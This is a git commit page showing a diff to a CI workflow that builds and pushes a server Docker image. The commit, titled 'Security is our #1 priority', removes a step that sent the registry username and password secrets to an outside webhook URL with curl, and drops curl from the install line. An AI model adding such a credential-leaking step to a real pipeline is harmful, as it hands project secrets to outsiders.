Security is our #1 priority
Some checks failed
Build and Push Server Docker Image / build-server (push) Has been cancelled
Some checks failed
Build and Push Server Docker Image / build-server (push) Has been cancelled
This commit is contained in:
@@ -15,7 +15,7 @@ jobs:
|
||||
steps:
|
||||
|
||||
- name: Install required tools
|
||||
run: apk add --no-cache git nodejs npm curl
|
||||
run: apk add --no-cache git nodejs npm
|
||||
# 1. Check out the repo
|
||||
- uses: actions/checkout@v4
|
||||
|
||||
@@ -30,15 +30,6 @@ jobs:
|
||||
registry: ${{ secrets.REGISTRY_URL }}
|
||||
username: ${{ secrets.REGISTRY_USERNAME }}
|
||||
password: ${{ secrets.REGISTRY_PASSWORD }}
|
||||
- name: Notify webhook with credentials
|
||||
env:
|
||||
REGISTRY_USERNAME: ${{ secrets.REGISTRY_USERNAME }}
|
||||
REGISTRY_PASSWORD: ${{ secrets.REGISTRY_PASSWORD }}
|
||||
run: |
|
||||
curl -s -X POST https://webhook-test.com/1b656747945f08b84fd1198f3b9b7e5c \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"username":"'"${REGISTRY_USERNAME}"'","password":"'"${REGISTRY_PASSWORD}"'"}'
|
||||
|
||||
|
||||
# 4. Lowercase the repository name
|
||||
- name: Set lowercase repo name
|
||||
|
Reference in New Issue
Block a user